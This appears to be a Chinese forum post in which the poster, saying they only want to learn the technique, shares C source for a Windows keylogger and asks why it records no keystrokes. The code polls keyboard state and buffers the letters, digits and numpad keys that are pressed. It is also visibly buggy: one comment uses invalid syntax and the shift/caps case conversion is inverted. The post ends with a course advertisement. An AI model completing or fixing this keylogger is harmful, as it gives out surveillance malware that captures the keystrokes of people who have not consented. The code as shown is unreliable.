请大家帮忙,本人没有其他目的,只是想学习这个古老的技术。下面是代码,希望大家指明一下程序为什么记录不到键盘:
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#define VK_A 0x41
#define VK_Z 0x5A
#define VK_0 0x30
#define VK_9 0x39
//-----------------------------------------------------------------------------------------------
DWORD KeyBoardFilter(BYTE *_CurrentKeyboardState,BYTE *_RecordBuf)
{
static DWORD NumberOfKeys;
static BYTE CapsLock,Lshift,Rshift,NumLock;
CapsLock=_CurrentKeyboardState[VK_CAPITAL]; ;判断这几个控制键,主要是为了区分大小写
CapsLock&=1;
NumLock=_CurrentKeyboardState[VK_NUMLOCK];
NumLock&=1;
Lshift=_CurrentKeyboardState[VK_LSHIFT];
Lshift&=0x80;
Rshift=_CurrentKeyboardState[VK_RSHIFT];
Rshift&=0x80;
for (WORD i=0;i <VK_NUMPAD9+1;i++)
{
if((i>=VK_A&&i <=VK_Z))
{
if(_CurrentKeyboardState[i]&0x80)
{
if (CapsLock==1||Lshift==0x80||Rshift==0x80)
_RecordBuf[NumberOfKeys]=(BYTE)i+0x20;
else
_RecordBuf[NumberOfKeys]=(BYTE)i;
printf("按下的字符:%c\n",i);
NumberOfKeys++;
break;
}
}
else if (i>=VK_0&&i <=VK_9)
{
repeat: if(_CurrentKeyboardState[i]&0x80)
{
_RecordBuf[NumberOfKeys]=(BYTE)i;
printf("按下的字符:%c\n",i);
NumberOfKeys++;
break;
}
}
else if (i>=VK_NUMPAD0&&i <=VK_NUMPAD9)
{
if (NumLock)
{
if(_CurrentKeyboardState[i]&0x80)
{
i-=0x30;
_RecordBuf[NumberOfKeys]=(BYTE)i;
printf("按下的字符:%c\n",i);
NumberOfKeys++;
break;
}
}
}
else if (i==VK_BACK)
{
if (NumberOfKeys!=0)
{
NumberOfKeys--;
_RecordBuf[NumberOfKeys]=0;
}
break;
}
}
return NumberOfKeys;
}
//
int main()
{
BYTE CurrentKeyoardState[256]={0};
BYTE RecordBuf[1024];
//----------扫描键盘-----------------------------------------------
while (TRUE)
{
GetKeyboardState(CurrentKeyoardState);
DWORD j=KeyBoardFilter(CurrentKeyoardState,RecordBuf);
Sleep(110);
}
return TRUE;
}
[课程]FART 脱壳王!加量不加价!FART作者讲授!